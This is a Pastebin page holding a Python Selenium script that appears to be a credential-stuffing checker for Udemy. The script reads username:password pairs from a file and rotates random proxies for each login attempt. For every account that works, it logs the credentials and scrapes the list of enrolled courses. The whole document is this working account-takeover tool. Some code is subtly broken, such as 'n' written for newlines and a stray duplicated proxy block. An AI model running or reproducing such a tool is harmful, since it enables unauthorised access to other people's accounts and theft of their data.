Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from selenium import webdriver
- from selenium.webdriver.common.keys import Keys
- from selenium.webdriver.support.ui import WebDriverWait
- from selenium.common.exceptions import StaleElementReferenceException
- from selenium.webdriver.support import expected_conditions as EC
- from selenium.webdriver.common.by import By
- from selenium.webdriver.common.proxy import *
- import time
- import random
- f = open('udemy_titles', 'a', encoding='utf8')
- file = open("input_1.txt", 'r')
- login_pass_dict = dict()
- for x in [line.strip().split(':') for line in file]:
- login_pass_dict.update({x[0]: x[1]})
- for login, password in login_pass_dict.items():
- f.write("n" + "USERNAME: ")
- f.write(login + "n")
- f.write("PASSWORD: ")
- f.write(password + "n")
- myProxy = random.choice(open('proxy.txt').readlines())
- Proxy = Proxy({
- 'proxyType': ProxyType.MANUAL,
- 'httpProxy': myProxy,
- 'httpsProxy': myProxy,
- 'ftpProxy': myProxy,
- 'sslProxy': myProxy,
- 'noProxy': ''
- })
- print(myProxy + "n")
- driver= webdriver.Firefox(proxy=Proxy)
- driver.get('https://www.udemy.com')
- print("GOT URLn")
- time.sleep(5)
- driver.find_element_by_xpath("//button[@data-purpose='header-login']").click()
- print("OPEN LOGIN FORMn")
- time.sleep(5)
- webdriver.ActionChains(driver).move_by_offset(570, 295).click().send_keys(login).perform()
- print("PRINT MAILn")
- time.sleep(5)
- webdriver.ActionChains(driver).move_by_offset(100, 65).click().send_keys(password).perform()
- print("PRINT PASSWORDn")
- time.sleep(5)
- try:
- webdriver.ActionChains(driver).move_by_offset(0, 60).click().perform()
- print("AUTORIZATIONn")
- time.sleep(6)
- driver.find_element_by_xpath("//a[@data-purpose='my-courses']").click()
- print("GO TO URLn")
- time.sleep(5)
- def parse_pagination(driver):
- try:
- ul_pagination = driver.find_element_by_css_selector("ul.pagination.pagination-expanded")
- li_pagination = ul_pagination.find_elements_by_css_selector("li")[-2]
- count_page = int(li_pagination.find_element_by_css_selector("a").text)
- urls = []
- for i in range(2, count_page + 1):
- urls.append("https://www.udemy.com/home/my-courses/learning/?p=" + str(i))
- time.sleep(2)
- return urls
- except:
- pass
- def parse_list(driver):
- try:
- div_card_wrapper = WebDriverWait(driver, 10).until(
- EC.visibility_of_element_located((By.CSS_SELECTOR, "div.card-wrapper")))
- div_cards = div_card_wrapper.find_elements_by_css_selector("div.card.card--learning")
- for div_card in div_cards:
- a = div_card.find_element_by_css_selector("a.card--learning__details > div > strong")
- name = a.text
- print(name)
- f.write(name + "n")
- except:
- pass
- try:
- div = driver.find_element_by_xpath("//div[@class='pager-label']").text
- div_1 = div.split(" ")[-2]
- f.write("TOTAL COURSES: " )
- f.write(div_1 + "n")
- except:
- pass
- try:
- parse_list(driver)
- urls = parse_pagination(driver)
- for url in urls:
- driver.get(url)
- time.sleep(2)
- parse_list(driver)
- except:
- pass
- driver.close()
- time.sleep(2)
- except:
- f.write("LOGIN OR PASSWORD IS INCORRECTLY PROVIDED" + "n")
- driver.close()
- time.sleep(1)
- f.close()
- file.close()
- Proxy = Proxy({
- 'proxyType': ProxyType.MANUAL,
- 'httpProxy': myProxy,
- 'httpsProxy': myProxy,
- 'ftpProxy': myProxy,
- 'sslProxy': myProxy,
- 'noProxy': ''
- })
Add Comment
Please, Sign In to add comment